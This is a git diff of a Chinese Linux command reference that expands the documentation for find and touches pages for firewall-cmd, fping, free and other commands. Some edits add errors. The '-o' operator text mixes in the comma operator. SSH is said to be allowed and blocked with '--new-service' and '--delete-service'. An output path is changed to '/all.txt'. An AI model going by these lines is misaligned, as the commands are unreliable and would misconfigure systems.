+ \ V V /| (_) || | | || (_| ||_| + \_/\_/ \___/ |_| |_| \__,_|(_) +``` diff --git a/command/file.md b/command/file.md index 7b43f99e251..4302bf03999 100644 --- a/command/file.md +++ b/command/file.md @@ -1,19 +1,19 @@ file === -用来探测给定文件的类型。 +用来探测给定文件的类型 ## 补充说明 **file命令** 用来探测给定文件的类型。file命令对文件的检查分为文件系统、魔法幻数检查和语言检查3个过程。 -### 语法 +### 语法 ```shell file(选项)(参数) ``` -### 选项 +### 选项 ```shell -b:列出辨识结果时,不显示文件名称; @@ -25,11 +25,11 @@ file(选项)(参数) -z:尝试去解读压缩文件的内容。 ``` -### 参数 +### 参数 文件:要确定类型的文件列表,多个文件之间使用空格分开,可以使用shell通配符匹配多个文件。 -### 实例 +### 实例 显示文件类型 @@ -67,4 +67,3 @@ lrwxrwxrwx 1 root root 10 08-13 00:11 /var/mail -> spool/mail ``` - \ No newline at end of file diff --git a/command/find.md b/command/find.md index c8fee0080ac..96612ab8420 100644 --- a/command/find.md +++ b/command/find.md @@ -3,18 +3,43 @@ find 在指定目录下查找文件 +## 解释 + +从每个指定的起始点 (目录) 开始,搜索以该点为根的目录树,并按照运算符优先级规则**从左至右**评估给定的表达式,直到结果确定,此时`find`会继续处理下一个文件名。 + ## 补充说明 -**find命令** 用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。 +本文列出的选项指的是**表达式列表中的选项**。这些选项控制了`find`的行为,需在**最后一个路径名之后**立即指定。 + +五个真实选项: `-H、-L、-P、-D 和 -O`。如果出现,**必须位于第一个路径名之前**。关于这部分内容本文不做描述,具体内容可参考[man7.org中的find](https://man7.org/linux/man-pages/man1/find.1.html#top_of_page) -### 语法 +如果使用该命令时,不设置任何参数,则`find`命令将在当前目录下查找子目录与文件,并且将查找到的子目录和文件全部进行显示。等效于以下命令: +```shell +find . -print +``` + +## 语法 + +```shell +find [-H] [-L] [-P] [-D debugopts] [-Olevel] [起始点...] [表达式] +``` +忽略真实选项后 (更为常见): ```shell -find(选项)(参数) +find [起始点...] [表达式] ``` -### 选项 +## 表达式分类 +起始点(列表)之后的部分是表达式。这是一种**查询规范**,描述了我们如何匹配文件(返回**真**或者**假**)以及对匹配到的文件进行何种操作。表达式由一系列元素组成: +- 测试(Tests):测试返回一个真或假值,通常基于我们正在考虑的文件的某个属性。例如,`-empty`测试仅在当前文件为空时为真。 +- 操作(Actions):操作具有副作用(例如在标准输出上打印内容),并返回真或假,通常基于它们是否成功。例如,`-print`操作会在标准输出上打印当前文件的名称。 +- 全局(Global):全局选项影响命令行中任何部分指定的测试和操作的执行。全局选项始终返回真值。例如,`-depth`选项使find以深度优先的顺序遍历文件系统。 +- 位置(Positional):位置选项仅影响其后的测试或操作。位置选项始终返回真值。例如,`-regextype`选项是位置选项,用于指定命令行中后续正则表达式所使用的正则表达式方言。 +- 操作符(Operators):运算符将表达式中的其他项连接起来。例如,它们包括`-o`(表示逻辑或)和`-a`(表示逻辑与)。如果缺少运算符,则默认使用`-a`。 +## 表达式选项 + +### 测试选项 ```shell -amin<分钟>:查找在指定时间曾被存取过的文件或目录,单位以分钟计算; -anewer<参考文件或目录>:查找其存取时间较指定文件或目录的存取时间更接近现在的文件或目录; @@ -22,65 +47,379 @@ find(选项)(参数) -cmin<分钟>:查找在指定时间之时被更改过的文件或目录; -cnewer<参考文件或目录>查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录; -ctime<24小时数>:查找在指定时间之时被更改的文件或目录,单位以24小时计算; --daystart:从本日开始计算时间; --depth:从指定目录下最深层的子目录开始查找; --expty:寻找文件大小为0 Byte的文件,或目录下没有任何子目录或文件的空目录; --exec<执行指令>:假设find指令的回传值为True,就执行该指令; +-empty:寻找文件大小为0 Byte的文件,或目录下没有任何子目录或文件的空目录; +-executable 匹配当前用户可执行的文件和可搜索的目录。 -false:将find指令的回传值皆设为False; --fls<列表文件>:此参数的效果和指定“-ls”参数类似,但会把结果保存为指定的列表文件; --follow:排除符号连接; --fprint<列表文件>:此参数的效果和指定“-print”参数类似,但会把结果保存成指定的列表文件; --fprint0<列表文件>:此参数的效果和指定“-print0”参数类似,但会把结果保存成指定的列表文件; --fprintf<列表文件><输出格式>:此参数的效果和指定“-printf”参数类似,但会把结果保存成指定的列表文件; -fstype<文件系统类型>:只寻找该文件系统类型下的文件或目录; -gid<群组识别码>:查找符合指定之群组识别码的文件或目录; -group<群组名称>:查找符合指定之群组名称的文件或目录; --help或——help:在线帮助; -ilname<范本样式>:此参数的效果和指定“-lname”参数类似,但忽略字符大小写的差别; -iname<范本样式>:此参数的效果和指定“-name”参数类似,但忽略字符大小写的差别; -inum:查找符合指定的inode编号的文件或目录; -ipath<范本样式>:此参数的效果和指定“-path”参数类似,但忽略字符大小写的差别; -iregex<范本样式>:此参数的效果和指定“-regexe”参数类似,但忽略字符大小写的差别; +-iwholename 模式参见`-ipath`。此选项的可移植性较`-ipath`差。 -links<连接数目>:查找符合指定的硬连接数目的文件或目录; --iname<范本样式>:指定字符串作为寻找符号连接的范本样式; --ls:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出; --maxdepth<目录层级>:设置最大目录层级; --mindepth<目录层级>:设置最小目录层级; +-lname<范本样式>:指定字符串作为寻找符号连接的范本样式; -mmin<分钟>:查找在指定时间曾被更改过的文件或目录,单位以分钟计算; --mount:此参数的效果和指定“-xdev”相同; -mtime<24小时数>:查找在指定时间曾被更改过的文件或目录,单位以24小时计算; -name<范本样式>:指定字符串作为寻找文件或目录的范本样式; -newer<参考文件或目录>:查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录; +-newerXY<引用>:如果正在考虑的文件的时间戳 X 比文件引用的时间戳 Y 更新则成功。 -nogroup:找出不属于本地主机群组识别码的文件或目录; --noleaf:不去考虑目录至少需拥有两个硬连接存在; -nouser:找出不属于本地主机用户识别码的文件或目录; --ok<执行指令>:此参数的效果和指定“-exec”类似,但在执行指令之前会先询问用户,若回答“y”或“Y”,则放弃执行命令; -path<范本样式>:指定字符串作为寻找目录的范本样式; -perm<权限数值>:查找符合指定的权限数值的文件或目录; --print:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式为每列一个名称,每个名称前皆有“./”字符串; --print0:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式为全部的名称皆在同一行; --printf<输出格式>:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式可以自行指定; --prune:不寻找字符串作为寻找文件或目录的范本样式; +-readable:匹配当前用户可读的文件 -regex<范本样式>:指定字符串作为寻找文件或目录的范本样式; +-samefile 名称 文件与名称指向相同的 inode。 -size<文件大小>:查找符合指定的文件大小的文件; --true:将find指令的回传值皆设为True; --typ<文件类型>:只寻找符合指定的文件类型的文件; +-type<文件类型>:只寻找符合指定的文件类型的文件; -uid<用户识别码>:查找符合指定的用户识别码的文件或目录; -used<日数>:查找文件或目录被更改之后在指定时间曾被存取过的文件或目录,单位以日计算; -user<拥有者名称>:查找符和指定的拥有者名称的文件或目录; --version或——version:显示版本信息; --xdev:将范围局限在先行的文件系统中; +-writable:匹配当前用户可写入的文件。 -xtype<文件类型>:此参数的效果和指定“-type”参数类似,差别在于它针对符号连接检查。 +-context<表达式>:仅限 SELinux。文件的安全上下文与全局模式匹配 ``` -### 参数 +### 操作选项 + +#### -delete 删除文件或目录。 +> :warning:警告:find 命令会将命令行作为表达式进行解析,因此将`-delete`放在首位会将指定的起始点下的**所有内容删除**。且`-delete`操作无法删除一个目录,除非它是空的。 + +##### *无参数* + +##### 描述 +如果删除成功则返回真。若删除失败,将显示错误消息,并且 find 最终退出时的状态码将为非零。 + +##### 相关选项 +- **-depth**:在命令行中使用`-delete`操作会自动启用`-depth`选项。为了避免意外情况,通常最好在早期的**Tests选项**中**明确使用**`-depth`选项。 +- **-prune**:由于`-depth`会使`-prune`失效,因此`-delete`操作无法与`-prune`有效结合使用。通常,用户可能希望在实际删除操作前,先用带有`-print`的查找命令行进行测试,以确保在添加`-delete`进行实际删除时不会出现意外结果。 +- **-ignore_readdir_race**:`-delete`与此选项一起使用时,find 会忽略自父目录读取以来文件已消失的情况下`-delete`操作的错误:它不会输出错误诊断,不会将退出代码更改为非零,并且`-delete`操作的返回代码将为真。 + +#### -exec 执行命令 + +> :warning:警告:使用`-exec`操作存在不可避免的安全问题,应改用`-execdir`选项。 + +##### 参数 +`command ;` 或 `command {} +` + +##### 描述 +如果返回状态为 0,则结果为真。**注意**:find 命令会将**所有后续参数**视为`command`的参数,直到遇到包含`;`的参数为止。字符串`{}`会在`command`的参数中所有出现的位置被替换为当前正在处理的文件名,而不仅仅是在它单独出现的参数中,这与某些版本的 find 不同。这两种结构可能需要使用反斜杠`\`或引号来转义,以防止被 shell 扩展。指定的命令会为每个匹配的文件运行一次。命令在起始目录中执行。 + +#### -execdir 在包含匹配文件的子目录中执行命令 + +##### 参数 +`command ;` | `command {} +` + +##### 描述 +类似于`-exec`,但指定的`command`会在包含匹配文件的**子目录中运行**,而非find的起始点目录。与`-exec`一样,如果从shell调用find,`{}`应加引号。这是一种更安全的调用`command`方式,因为它避免了在解析匹配文件路径时出现的竞争条件。与`-exec`操作类似,`+`形式的`-execdir`会构建一个命令行来处理多个匹配文件,但任何给定的`command`调用只会列出存在于同一子目录中的文件。如果使用此选项,必须确保 PATH 环境变量未引用`.`,否则攻击者可以通过在您将运行`-execdir`的目录中留下一个适当命名的文件来运行任何命令。同样,PATH 中的条目**不应为空**或**非绝对目录名**。如果使用`+`形式的任何调用以非零值作为退出状态返回,则 find 也会返回非零退出状态。如果 find 遇到错误,有时会导致立即退出,**因此某些待处理的command可能根本不会运行**。 操作结果取决于使用的是`+`还是`;`变体。`-execdir command {} + `总是返回真,而 `-execdir command {} ;`仅在命令返回 0 时返回真。 + +#### -fls 创建文件并将结果写入文件 + +##### 参数 +`file` + +##### 描述 +此选项始终返回真。`-fls`类似于`-ls`和`-fprint`,但`-fls`会将结果写入文件中。无论谓词是否匹配,输出文件始终会被创建。有关文件名中特殊字符处理的信息,请参阅“特殊文件名处理”部分。 + +#### -fprint 将完整文件名打印到指定文件中 + +##### 参数 +`file` + +##### 描述 +此选项始终返回真。若运行 find 时`file`不存在,则创建该`file`;若`file`已存在,则截断其内容。文件名`/dev/stdout`和`/dev/stderr`有特殊处理,分别指向标准输出和标准错误输出。即使谓词从未匹配,输出文件也会始终创建。 + +#### -fprint0 + +##### 参数 +`file` + +##### 描述 +此选项始终返回真。类似于`-print0`,但将输出写入文件;类似于`-fprint`。即使谓词从未匹配,输出文件也始终会被创建。 + +#### -fprintf + +##### 参数 +`file` + +##### 描述 +此选项始终返回真。类似于`-printf`,但将输出写入文件;类似于`-fprint`,即使谓词从未匹配,输出文件也会始终创建。 + +#### -ls 列出当前文件并输出到标准输出 + +##### *无参数* + +##### 描述 +此选项始终返回真。以`ls -dils`格式列出当前文件并输出到标准输出。块计数为 1 KB 块,除非设置了环境变量 POSIXLY_CORRECT,此时使用 512 字节块。 + +#### -ok 执行命令前询问用户 + +##### 参数 +`command ;` + +##### 描述 +类似于`-exec`,但首先会询问用户。如果用户同意,则运行该命令;否则仅返回 false。若运行该命令,其标准输入将被重定向至`/dev/null`。对提示的响应会与一对正则表达式进行匹配,以确定其为肯定或否定回答。若设置POSIXLY_CORRECT 环境变量,则该正则表达式从系统获取;否则,从 find 的消息翻译中获取。如果系统没有合适的定义,将使用 find 自身的定义。无论哪种情况,正则表达式本身的解释都会受到环境变量 LC_CTYPE(字符类)和 LC_COLLATE(字符范围和等价类)的影响。 + +##### 相关选项 +- **-files0-from**:不能与`-ok`同时指定。 + +#### -okdir + +##### 参数 +`command ;` + +##### 描述 +类似于`-execdir`,但在执行前会以与`-ok`相同的方式询问用户。如果用户不同意,则直接返回 false。如果命令被执行,其标准输入将从`/dev/null`重定向。 + +##### 相关选项 +- **-files0-from**:不能与`-okdir`同时指定。 + +#### -print 打印完整文件名,后跟一个换行符 + +##### *无参数* + +##### 描述 +此选项始终返回真。如果你将 find 的输出通过管道传输到另一个程序,并且你正在搜索的文件可能包含换行符,那么应该考虑使用`-print0`而不是`-print`。 + +#### -print0 打印完整文件名,后跟一个空字符 + +##### *无参数* + +##### 描述 +此选项始终返回真。包含换行符或其他类型空白字符的文件名能被正确解析,以便处理 find 输出的程序能正确理解。此选项对应于`xargs`的`-0`选项。 + +#### -printf 打印格式 + +##### 参数 +`format` + +可用的转义字符和指令包括: +- \a 警报。 +- \b 退格键。 +- \c 立即停止打印并清空输出。 +- \f 换页。 +- \n 换行。 +- \r 回车符。 +- \t 水平制表符。 +- \v 垂直制表符。 +- \0 空字符。 +- \\\ 一个字面的反斜杠`\`。 +- \NNN 字符,其 ASCII 码为 NNN(八进制)。 +- A 一个反斜杠字符`\`后跟任何其他字符,都会被视为普通字符,因此它们都会被打印出来。 +- %% 一个字面的百分号。 +- %a 文件的最后访问时间,格式为 C 语言 ctime(3)函数返回的样式。 + .....更多内容待补充 + +##### 描述 +*暂无* + +#### -prune 如果文件是目录,则不进入该目录 + +##### *无参数* + +##### 描述 +此选项始终返回真。 + +##### 相关选项 +- **-depth**:如果指定了`-depth`,那么`-prune`将无效。 +- **-delete**:因为`-delete`隐含了`-depth`,所以不能有效地同时使用两者。 + +#### -quit 立即退出 + +##### *无参数* + +##### 描述 +如果没有发生错误,则返回值为零。这与`-prune `不同,因为`-prune`仅适用于被修剪目录的内容,而`-quit`则使 find 立即停止。不会有任何子进程继续运行。在程序退出之前,任何通过`-exec ... +`或`-execdir ... +`构建的命令行都会被调用。执行`-quit`后,命令行中指定的文件将不再被处理。例如,`find /tmp/foo /tmp/bar -print -quit`将仅打印 `/tmp/foo`。`-quit`的一个常见用途是在找到所需内容后停止搜索文件系统。 + +### 全局选项 +始终返回真值。全局选项对命令行中较早出现的测试也会生效。为避免混淆,全局选项应在命令行上列出**起始点之后、第一个测试选项、位置选项或操作选项之前指定**。若在其他位置指定全局选项,find 会发出警告消息,说明这可能引起混淆。 + +> 全局选项出现在起始点列表之后,因此与例如`-L` 这样的选项不属于同一类别。 + +#### -d `-depth`的同义词 + +##### *无参数* + +##### 描述 +仅用于与 FreeBSD、NetBSD、MacOS X 和 OpenBSD 兼容。 + +#### -depth 遍历级别 + +##### 参数 +`levels` + +##### 描述 +在处理目录本身之前,先处理目录中的内容。`-delete`操作也隐含了`-depth`。 + +#### -files0-from 从文件中读取起始点,而非通过命令行获取。 -起始目录:查找文件的起始目录。 +##### 参数 +`file` -### 实例 +##### 描述 +使用此选项可以安全地给 find 命令传递任意数量的起始点。使用此选项和在命令行中传递起始点**是互斥的**,因此不允许同时进行。文件参数是强制性的。文件中的起始点必须用 ASCII NUL 字符分隔。两个连续的 NUL 字符,即带有零长度文件名的起始点是不允许的,这将导致错误诊断,并随后产生非零退出码。 + +与标准调用不同,在标准调用中,如果没有传递路径参数,find 会默认将当前目录作为起始点。起始点的处理方式与其他情况相同,例如,find 命令会递归进入子目录,除非另有阻止。若要仅处理起始点,可以额外传递`-maxdepth 0`参数。 + +**其他说明**:如果一个文件在输入文件中被列出多次,则其是否会被多次访问未作规定。如果在查找操作期间文件被修改,结果同样未作规定。最后,find 退出时(无论是通过`-quit`还是其他方式),命名文件中的查找位置也未作规定。此处**未作规定**意味着它**可能有效也可能无效**,**或者不做任何特定的事情**,并且该行为可能因平台或 findutils 版本而异。 + +> :bulb:可以使用`-files0-from`**从标准输入流中读取起始点列表**,例如从管道中读取。在这种情况下,不允许使用`-ok`和`-okdir`操作,因为它们会干扰从标准输入读取以获取用户确认。 + +> :warning:警告:如果给定文件为空,find 不会处理任何起始点,因此在解析完程序参数后会立即退出。 + +#### -help 和 --help 打印 find 命令行用法的摘要并退出。 + +##### *无参数* + +##### 描述 +*无描述* + +#### -ignore_readdir_race + +##### *无参数* + +##### 描述 +通常情况下,当 find 无法对文件进行状态检查(stat)时,会发出错误消息。如果您**启用此选项**,并且在 find 从目录读取文件名,到尝试进行状态检查**之间的时间内文件被删除**,则不会发出任何错误消息。这也适用于命令行中指定的文件或目录。此选项在命令行读取时生效,这意味着您不能在文件系统的某部分启用此选项,而在另一部分禁用它(如果需要这样做,您需要发出两个 find 命令,一个启用选项,一个不启用)。此外,使用`-ignore_readdir_race`选项时,如果在读取父目录后文件已消失,find 命令将忽略`-delete`操作的错误:它不会输出错误诊断信息,并且`-delete`操作的返回码将为真。 + +#### -maxdepth 最大遍历级别 + +##### 参数 +`levels` + +##### 描述 +最多向下遍历 levels 级(一个非负整数)目录层级。使用`-maxdepth 0`表示**仅对起始点本身**应用测试和操作。 + +#### -mindepth 最小遍历级别 + +##### 参数 +`levels` + +##### 描述 +在小于指定级别(非负整数)的层级上不执行任何测试或操作。使用`-mindepth 1`表示处理**除起始点外的所有文件**。 + +#### -mount 不在其他文件系统中下降目录 + +##### *无参数* + +##### 描述 +这是`-xdev`的替代名称,用于与其他一些版本的 find 兼容。 + +#### -noignore_readdir_race + +##### *无参数* + +##### 描述 +关闭了`-ignore_readdir_race`的效果。 + +#### -noleaf 不进行优化。 + +##### *无参数* + +##### 描述 +不通过假设目录包含比其硬链接数少 2 个子目录来进行优化。在搜索不遵循 Unix 目录链接惯例的文件系统时,需要此选项,例如 CD-ROM、MS-DOS 文件系统或 AFS 卷挂载点。在正常的 Unix 文件系统上,每个目录至少有 2 个硬链接:其名称及其`.`条目。此外,其子目录(如果有)各自有一个指向该目录的`..`条目。当 find 检查一个目录时,在它已经统计了比目录链接数少 2 个子目录之后,它知道该目录中的其余条目是非目录(目录树中的“叶”文件)。如果只需要检查文件的名称,则无需对其进行状态检查;这可以显著提高搜索速度。 + +#### -version 和 --version 打印 find 的版本号并退出。 + +##### *无参数* + +##### 描述 +*无描述* + +#### -xdev 不进入其他文件系统的目录。 + +##### *无参数* + +##### 描述 +*无描述* + +### 位置选项 +始终返回真值。它们仅影响命令行中后续的测试。 + +#### -daystart 从今天开始 + +> 用于 `-amin`、`-atime`、`-cmin`、`-ctime`、`-mmin` 和 `-mtime` + +##### *无参数* + +##### 描述 +从今天开始而非从 24 小时前开始。此选项仅影响命令行中后续出现的测试。 + +#### ~~-follow~~ 解引用符号链接。 + +##### *无参数* + +##### 描述 +**已弃用,请改用`-L`选项**。隐含`-noleaf`。`-follow`选项仅影响命令行中出现在其后的那些测试。除非已指定`-H`或`-L`选项,否则`-follow`选项的位置会改变`-newer`谓词的行为;作为`-newer`参数列出的任何文件,如果它们是符号链接,则会被解引用。同样的情况适用于`-newerXY`、`-anewer`和`-cnewer`。类似地,`-type `谓词将始终匹配符号链接所指向的文件类型,而非链接本身。使用`-follow`会导致 `-lname`和`-ilname`谓词始终返回 false。 + +#### -regextype 更改正则表达式语法 + +##### 参数 +`type` + +##### 描述 +更改`-regex`和`-iregex`测试在命令行后续部分所理解的正则表达式语法。要查看已知的正则表达式类型,请使用`-regextype help`。Texinfo 文档解释了各种正则表达式类型的含义及其差异。如果您不使用此选项,find 的行为如同已指定正则表达式类型为`emacs`。 + +#### -warn 和 -nowarn 开启或关闭警告消息。 + +##### *无参数* + +##### 描述 +这些警告仅适用于命令行使用,不适用于 find 在搜索目录时可能遇到的情况。默认行为是:如果标准输入是`tty`,则对应`-warn`;否则对应`-nowarn`。如果产生与命令行使用相关的警告消息,find 的退出状态不受影响。如果设置了 POSIXLY_CORRECT 环境变量,并且也使用了`-warn`,则未指定哪些(如果有)警告会被激活。 + +### 运算符选项 +运算符按优先级递减顺序列出: +- `(expr)` 强制优先级。由于括号对 shell 有特殊含义,通常需要对它们进行引用。许多示例为此使用了反斜杠:`\(...\)` 而非 `(...)`。 +- `! expr` 若表达式为假则结果为真(取反)。此字符通常也需要防止被 shell 解释。 + +> :bulb:提示:当`-a`隐式指定(例如两个测试之间没有显式运算符)或显式指定时,其优先级高于`-o`。例如,`find . -name foo -o -name bar -print`永远不会打印`foo`。 + +#### -not + +##### 参数 +`expr` + +##### 描述 +等同于`! expr`,但不符合 POSIX 标准。 + +#### -a + +##### 参数 +`expr1` -a `expr2` + +##### 描述 +两个连续的表达式被视为隐含地用`-a`连接;如果`expr1`为假,则不评估`expr2`。等同于`expr1 expr2`。 + +#### -and + +##### 参数 +`expr1` -and `expr2` + +##### 描述 +与`-a`相同。但不符合 POSIX 标准。 + +#### -o + +##### 参数 +`expr1` -o `expr2` + +##### 描述 +`expr1`和`expr2`始终都会被评估。`expr1`的值会被丢弃;列表的值即为`expr2`的值。逗号运算符(`,`)在搜索多种不同类型的事物时非常有用,但只会遍历文件系统层次结构一次。`-fprintf`动作可用于将各种匹配项列出到多个不同的输出文件中。若`expr1`为真,则不评估`expr2`。 +#### -or + +##### 参数 +`expr1` -or `expr2` + +##### 描述 +与`-o`相同。但不符合 POSIX 标准。 + +## 例子 + +当前目录搜索所有文件,且文件内容包含 “140.206.111.111” ```shell -# 当前目录搜索所有文件,文件内容 包含 “140.206.111.111” 的内容 find . -type f -name "*" | xargs grep "140.206.111.111" ``` @@ -300,7 +639,7 @@ find $HOME/. -name "*.txt" -ok rm {} \; 查找当前目录下所有.txt文件并把他们拼接起来写入到all.txt文件中 ```shell -find . -type f -name "*.txt" -exec cat {} \;> all.txt +find . -type f -name "*.txt" -exec cat {} \;> /all.txt ``` 将30天前的.log文件移动到old目录中 @@ -321,7 +660,7 @@ find . -type f -name "*.txt" -exec printf "File: %s\n" {} \; -exec ./text.sh {} \; ``` -#### 搜索但跳出指定的目录 +#### 搜索但跳过指定的目录 查找当前目录或者子目录下所有.txt文件,但是跳过子目录sk @@ -329,6 +668,16 @@ find . -type f -name "*.txt" -exec printf "File: %s\n" {} \; find . -path "./sk" -prune -o -name "*.txt" -print ``` +> :warning: ./sk 不能写成 ./sk/ ,否则没有作用。 + +忽略两个目录 + +```shell +find . \( -path ./sk -o -path ./st \) -prune -o -name "*.txt" -print +``` + +> :warning: 如果写相对路径必须加上`./` + #### find其他技巧收集 要列出所有长度为零的文件 @@ -386,4 +735,4 @@ find . -name "*.java"|xargs cat|grep -v ^$|wc -l # 代码行数统计, 排除空 ``` - + diff --git a/command/findfs.md b/command/findfs.md index 0c3e3693f8a..2b9dd85dd34 100644 --- a/command/findfs.md +++ b/command/findfs.md @@ -7,17 +7,17 @@ findfs **findfs命令** 依据卷标(Label)和UUID查找文件系统所对应的设备文件。findfs命令会搜索整个磁盘,看是否有匹配的标签或者UUID没有,如果有则打印到标注输出上。findfs命令也是e2fsprogs项目的一部分。 -### 语法 +### 语法 ```shell findfs(参数) ``` -### 参数 +### 参数 `LABEL=<卷标>`或者`UUID=`:按照卷标或者UUID查询文件系统。 -### 实例 +### 实例 通过卷标名查找对应的文件系统: @@ -27,4 +27,3 @@ findfs LABEL=/boot ``` - \ No newline at end of file diff --git a/command/finger.md b/command/finger.md index e637e191e5f..b77f53ea8d1 100644 --- a/command/finger.md +++ b/command/finger.md @@ -7,13 +7,13 @@ finger **finger命令** 用于查找并显示用户信息。包括本地与远端主机的用户皆可,帐号名称没有大小写的差别。单独执行finger指令,它会显示本地主机现在所有的用户的登陆信息,包括帐号名称,真实姓名,登入终端机,闲置时间,登入时间以及地址和电话。 -### 语法 +### 语法 ```shell finger(选项)(参数) ``` -### 选项 +### 选项 ```shell -l:列出该用户的帐号名称,真实姓名,用户专属目录,登入所用的Shell,登入时间,转信地址,电子邮件状态,还有计划文件和方案文件内容; @@ -24,11 +24,11 @@ finger(选项)(参数) 不指定finger的选项如果提供操作者的话,缺省设为`-l`输出风格,否则为`-s`风格,注意在两种格式中,如果信息不足,都有一些域可能丢失,如果没有指定参数finger会为当前登录的每个用户打印一个条目。 -### 参数 +### 参数 用户名:指定要查询信息的用户。 -### 实例 +### 实例 在计算机上使用finger: @@ -43,4 +43,3 @@ root root *pts/1 Dec 18 13 如果要查询远程机上的用户信息,需要在用户名后面接`@主机名`,采用`用户名@主机名`的格式,不过要查询的网络主机需要运行finger守护进程的支持。 - \ No newline at end of file diff --git a/command/firewall-cmd.md b/command/firewall-cmd.md index e10a36cadb3..3223a984d0d 100644 --- a/command/firewall-cmd.md +++ b/command/firewall-cmd.md @@ -1,7 +1,7 @@ firewall-cmd === -Linux上新用的防火墙软件,跟iptables差不多的工具。 +Linux上新用的防火墙软件,跟iptables差不多的工具 ## 补充说明 @@ -47,16 +47,17 @@ firewall-cmd [选项 ... ] --set-log-denied= # 设置记录被拒绝的日志,只能为 'all','unicast','broadcast','multicast','off' 其中的一个; ``` -### 实例 +### 实例 ```shell # 安装firewalld yum install firewalld firewall-config systemctl start firewalld # 启动 +systemctl stop firewalld # 停止 +systemctl enable firewalld # 启用自动启动 +systemctl disable firewalld # 禁用自动启动 systemctl status firewalld # 或者 firewall-cmd --state 查看状态 -systemctl disable firewalld # 停止 -systemctl stop firewalld # 禁用 # 关闭服务的方法 # 你也可以关闭目前还不熟悉的FirewallD防火墙,而使用iptables,命令如下: @@ -138,10 +139,10 @@ Amanda, FTP, Samba和TFTP等最重要的服务已经被FirewallD提供相应的 firewall-cmd --get-services # 允许SSH服务通过 -firewall-cmd --enable service=ssh +firewall-cmd --new-service=ssh # 禁止SSH服务通过 -firewall-cmd --disable service=ssh +firewall-cmd --delete-service=ssh # 打开TCP的8080端口 firewall-cmd --enable ports=8080/tcp diff --git a/command/fmt.md b/command/fmt.md index 7bc4e692a0f..0578a82cbfe 100644 --- a/command/fmt.md +++ b/command/fmt.md @@ -7,13 +7,13 @@ fmt **fmt命令** 读取文件的内容,根据选项的设置对文件格式进行简单的优化处理,并将结果送到标准输出设备。 -### 语法 +### 语法 ```shell fmt(选项)(参数) ``` -### 选项 +### 选项 ```shell -c或--crown-margin:每段前两列缩排; @@ -24,9 +24,8 @@ fmt(选项)(参数) -w<每列字符数>或--width=<每列字符数>或-<每列字符数>:设置每列的最大字符数。 ``` -### 参数 +### 参数 指定要优化格式的文件。 - \ No newline at end of file diff --git a/command/fold.md b/command/fold.md index f268f52417c..c5a32ab53f7 100644 --- a/command/fold.md +++ b/command/fold.md @@ -7,13 +7,13 @@ fold **fold命令** 用于控制文件内容输出时所占用的屏幕宽度。fold命令会从指定的文件里读取内容,将超过限定列宽的列加入增列字符后,输出到标准输出设备。若不指定任何文件名称,或是所给予的文件名为“-”,则fold指令会从标准输入设备读取数据。 -### 语法 +### 语法 ```shell fold(选项)(参数) ``` -### 选项 +### 选项 ```shell -b或——bytes:以Byte为单位计算列宽,而非采用行数编号为单位; @@ -21,9 +21,14 @@ fold(选项)(参数) -w<每列行数>或--width<每列行数>:设置每列的最大行数。 ``` -### 参数 +### 参数 文件:指定要显示内容的文件。 +### 示例 + +```shell +fold -w 5 filename +``` + - \ No newline at end of file diff --git a/command/fping.md b/command/fping.md new file mode 100644 index 00000000000..b2678e635a6 --- /dev/null +++ b/command/fping.md @@ -0,0 +1,79 @@ +fping +=== + +fping检测主机是否存在 + +## 补充说明 + +**fping命令** fping类似于ping,但比ping强大。与ping要等待某一主机连接超时或发回反馈信息不同,fping给一个主机发送完数据包后,马上给下一个主机发送数据包,实现多主机同时ping,fping还可以在命令行中指定要ping的主机数量范围。 + +### 语法 + +```shell +fping(选项)(参数) +``` + +### 选项 + +```shell +-a # 显示存活的主机 +-b # ping 数据包的大小。(默认为56) +-c # ping每个目标的次数 (默认为1) +-f # 从文件获取目标列表(不能与 -g 同时使用) +-l # 循环发送ping +-g # 通过指定开始和结束地址来生成目标列表,可以使网段 +-u # 显示不可到达的目标 +``` + +### 实例 + +安装fping命令: + +```shell +# 先安装epel源: +yum install epel* -y +# 安装fping包: +yum install fping -y +``` + +选择性ping指定ip: + +```shell +~]# fping 192.168.0.1 192.168.0.125 192.168.0.126 2>/dev/null +192.168.0.1 is alive +192.168.0.125 is alive +192.168.0.126 is unreachable +``` + +ping整个网段: + +```bash +~]# fping -g 192.168.0.0/24 2>/dev/null +192.168.0.1 is alive +192.168.0.103 is alive +... +192.168.0.253 is unreachable +192.168.0.254 is unreachable +``` + +ping整个网段,只显示存活的主机: + +```shell +~]# fping -ag 192.168.0.0/24 2>/dev/null +192.168.0.1 +192.168.0.103 +... +``` + +ping某一段ip: + +```shell +~]# fping -ag 192.168.0.5 192.168.0.130 2>/dev/null +192.168.0.103 +... +192.168.0.125 +192.168.0.130 +``` + + + diff --git a/command/free.md b/command/free.md index e92445eca1f..11e927b395b 100644 --- a/command/free.md +++ b/command/free.md @@ -7,13 +7,13 @@ free **free命令** 可以显示当前系统未使用的和已使用的内存数目,还可以显示被内核使用的内存缓冲区。 -### 语法 +### 语法 ```shell free(选项) ``` -### 选项 +### 选项 ```shell -b # 以Byte为单位显示内存使用情况; @@ -24,9 +24,10 @@ free(选项) -s<间隔秒数> # 持续观察内存使用状况; -t # 显示内存总和列; -V # 显示版本信息。 +-h, --human # 自动缩放到最短三位单位的并打印输出 ``` -### 实例 +### 实例 ```shell free -t # 以总和的形式显示内存的使用信息 @@ -156,4 +157,4 @@ Buffer cache是针对磁盘块的缓存,也就是在没有文件系统的情 如果是应用服务器的话,一般只看第二行,+buffers/cache,即对应用程序来说free的内存太少了,也是该考虑优化程序或加内存了。 - + diff --git a/command/fsck.md b/command/fsck.md index a05d222b11d..5dc84ecf665 100644 --- a/command/fsck.md +++ b/command/fsck.md @@ -1,19 +1,19 @@ fsck === -检查并且试图修复文件系统中的错误 +fsck(英文全拼:file system check)命令检查并且试图修复文件系统中的错误 ## 补充说明 -**fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误四化,可用fsck指令尝试加以修复。 +**fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误,可用fsck指令尝试加以修复。 -### 语法 +### 